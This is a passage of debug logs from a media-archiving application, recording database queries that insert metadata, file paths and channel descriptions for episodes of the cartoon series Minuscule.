Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Silence/Quiet (season 1)", "7qxO1RKJUmo", 340, false, 4, "https://www.youtube.com/watch?v=7qxO1RKJUmo", "/downloads/Miniscule Season 1/2019-08-20 Minuscule - Silence⧸Quiet (season 1)/Minuscule - Silence⧸Quiet (season 1) [7qxO1RKJUmo].mp4", false, ~U[2019-08-20 10:30:00Z]] 00:54:35.609 [debug] QUERY OK source="sources" db=0.5ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.610 [debug] QUERY OK source="media_items" db=0.8ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-06 10:30:05Z], 4] 00:54:35.614 [debug] QUERY OK source="media_items" db=2.7ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tenace/The Perserving one (season 1)", "14a7f80c-ef7b-4a58-b96e-5232b406aa08", "f_E6J3mc8d4", 339, false, 4, "https://www.youtube.com/watch?v=f_E6J3mc8d4", 125, "/downloads/Miniscule Season 1/2019-08-06 Minuscule - Tenace⧸The Perserving one (season 1)/Minuscule - Tenace⧸The Perserving one (season 1) [f_E6J3mc8d4].mkv", false, false, false, [], 1, ~U[2019-08-06 10:30:05Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tenace/The Perserving one (season 1)", "f_E6J3mc8d4", 339, false, 4, "https://www.youtube.com/watch?v=f_E6J3mc8d4", "/downloads/Miniscule Season 1/2019-08-06 Minuscule - Tenace⧸The Perserving one (season 1)/Minuscule - Tenace⧸The Perserving one (season 1) [f_E6J3mc8d4].mkv", false, ~U[2019-08-06 10:30:05Z]] 00:54:35.615 [debug] QUERY OK source="sources" db=0.4ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.616 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-01 10:30:00Z], 4] 00:54:35.619 [debug] QUERY OK source="media_items" db=1.9ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Top Départ/On Your Marks, Get Set.... (Season 1)", "b71bc7be-5e79-4f6e-8dc9-f9e700ccb4ef", "Ngrmr24JVzc", 346, false, 4, "https://www.youtube.com/watch?v=Ngrmr24JVzc", 126, "/downloads/Miniscule Season 1/2019-08-01 Minuscule - Top Départ⧸On Your Marks, Get Set.... (Season 1)/Minuscule - Top Départ⧸On Your Marks, Get Set.... (Season 1) [Ngrmr24JVzc].mp4", false, false, false, [], 1, ~U[2019-08-01 10:30:00Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Top Départ/On Your Marks, Get Set.... (Season 1)", "Ngrmr24JVzc", 346, false, 4, "https://www.youtube.com/watch?v=Ngrmr24JVzc", "/downloads/Miniscule Season 1/2019-08-01 Minuscule - Top Départ⧸On Your Marks, Get Set.... (Season 1)/Minuscule - Top Départ⧸On Your Marks, Get Set.... (Season 1) [Ngrmr24JVzc].mp4", false, ~U[2019-08-01 10:30:00Z]] 00:54:35.620 [debug] QUERY OK source="sources" db=0.3ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.621 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-25 10:30:00Z], 4] 00:54:35.625 [debug] QUERY OK source="media_items" db=2.8ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tomate Cerise/Cherry Tomato (Season 1)", "a9006780-bd3b-46d7-945b-6d2a12cccd24", "M2Ckl8UghiU", 337, false, 4, "https://www.youtube.com/watch?v=M2Ckl8UghiU", 127, "/downloads/Miniscule Season 1/2019-07-25 Minuscule - Tomate Cerise⧸Cherry Tomato (Season 1)/Minuscule - Tomate Cerise⧸Cherry Tomato (Season 1) [M2Ckl8UghiU].mp4", false, false, false, [], 1, ~U[2019-07-25 10:30:00Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tomate Cerise/Cherry Tomato (Season 1)", "M2Ckl8UghiU", 337, false, 4, "https://www.youtube.com/watch?v=M2Ckl8UghiU", "/downloads/Miniscule Season 1/2019-07-25 Minuscule - Tomate Cerise⧸Cherry Tomato (Season 1)/Minuscule - Tomate Cerise⧸Cherry Tomato (Season 1) [M2Ckl8UghiU].mp4", false, ~U[2019-07-25 10:30:00Z]] 00:54:35.626 [debug] QUERY OK source="sources" db=0.3ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.627 [debug] QUERY OK source="media_items" db=0.8ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-23 10:30:02Z], 4] 00:54:35.631 [debug] QUERY OK source="media_items" db=2.8ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - toiles d'interieur/Interior Cobwebs (Season 1)", "7caeada9-5586-4c59-8be3-0a067e06deea", "jXi3DELlzEs", 325, false, 4, "https://www.youtube.com/watch?v=jXi3DELlzEs", 128, "/downloads/Miniscule Season 1/2019-07-23 Minuscule - toiles d'interieur⧸Interior Cobwebs (Season 1)/Minuscule - toiles d'interieur⧸Interior Cobwebs (Season 1) [jXi3DELlzEs].mp4", false, false, false, [], 1, ~U[2019-07-23 10:30:02Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - toiles d'interieur/Interior Cobwebs (Season 1)", "jXi3DELlzEs", 325, false, 4, "https://www.youtube.com/watch?v=jXi3DELlzEs", "/downloads/Miniscule Season 1/2019-07-23 Minuscule - toiles d'interieur⧸Interior Cobwebs (Season 1)/Minuscule - toiles d'interieur⧸Interior Cobwebs (Season 1) [jXi3DELlzEs].mp4", false, ~U[2019-07-23 10:30:02Z]] 00:54:35.632 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=10.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.633 [debug] QUERY OK source="media_items" db=0.8ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-18 10:30:01Z], 4] 00:54:35.636 [debug] QUERY OK source="media_items" db=1.9ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un Apres Midi de Moustique/A Mosquito Day Afternoon (Season 1)", "6eda272d-2639-4768-8c35-3a987a3b8c74", "0K5rEpi60DM", 338, false, 4, "https://www.youtube.com/watch?v=0K5rEpi60DM", 129, "/downloads/Miniscule Season 1/2019-07-18 Minuscule - Un Apres Midi de Moustique⧸A Mosquito Day Afternoon (Season 1)/Minuscule - Un Apres Midi de Moustique⧸A Mosquito Day Afternoon (Season 1) [0K5rEpi60DM].mp4", false, false, false, [], 1, ~U[2019-07-18 10:30:01Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Un Apres Midi de Moustique/A Mosquito Day Afternoon (Season 1)", "0K5rEpi60DM", 338, false, 4, "https://www.youtube.com/watch?v=0K5rEpi60DM", "/downloads/Miniscule Season 1/2019-07-18 Minuscule - Un Apres Midi de Moustique⧸A Mosquito Day Afternoon (Season 1)/Minuscule - Un Apres Midi de Moustique⧸A Mosquito Day Afternoon (Season 1) [0K5rEpi60DM].mp4", false, ~U[2019-07-18 10:30:01Z]] 00:54:35.637 [debug] QUERY OK source="sources" db=0.3ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.638 [debug] QUERY OK source="media_items" db=0.7ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-07-16 10:30:00Z], 4] 00:54:35.647 [debug] QUERY OK source="media_items" db=8.0ms idle=6.1ms INSERT INTO "media_items" AS m0 